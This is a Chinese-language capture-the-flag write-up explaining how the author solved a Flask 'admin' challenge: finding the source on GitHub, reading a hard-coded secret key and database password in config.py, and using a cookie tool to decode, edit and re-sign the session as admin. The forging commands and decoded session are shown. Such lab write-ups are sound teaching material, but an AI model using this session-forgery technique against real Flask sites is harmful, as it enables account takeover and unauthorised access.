国际惯例先查看源码,看到注释提示

    1. <!-- you are not admin -->

    那么就先去登录admin试试,理所当然的密码错误。
    然后自己去注册一个账号,登进去看看有没有什么其他的漏洞,发现有个post的地方
    image.png
    但是尝试随便提交点内容,结果哪都没显示。。。
    又看到有个change password,感觉漏洞应该在这了,但是依然没有。但是在修改密码的页面中还有一段提示

    1. <!-- https://github.com/woadsl1234/hctf_flask/ -->

    发现是网站的源码,并且发现有个config.py

    1. import os
    2. class Config(object):
    3. SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    4. SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    5. SQLALCHEMY_TRACK_MODIFICATIONS = True

    很明显,secret_key是关键,在请求网页的cookie中,可以看到有一段session,网站又是flask写的,经过网上查阅信息之后,flask的cookie可以直接解码出来明文,然后将其中的用户名修改,再通过secret_key加密后替换原本的session就可以达到伪造身份的目的。
    正好github上有现成的工具:https://github.com/noraj/flask-session-cookie-manager

    1. python3 flask_session_cookie_manager3.py decode -c session -s secret_key

    得到解密后的字符串:

    1. {u'csrf_token': 'ba025e7df99d1a9dbda42cccfc0763157ced9158', u'user_id': u'10', u'name': u'123', u'image': 'X1zH', u'_fresh': True, u'_id': '5c088aa955a8b955c6e9b1875fc9bdfc6a45872c6d77723355188722797b8e1ae113e86a30a54450a9b08a90a8d7c0d692b419bc6ed1b9b64574554769fda307'}

    将其中的name的值改为admin,再使用secret_key加密:

    1. python3 flask_session_cookie_manager3.py encode -c session -s secret_key

    得到修改后的session后,去替换cookie中原本的session,即可得到flag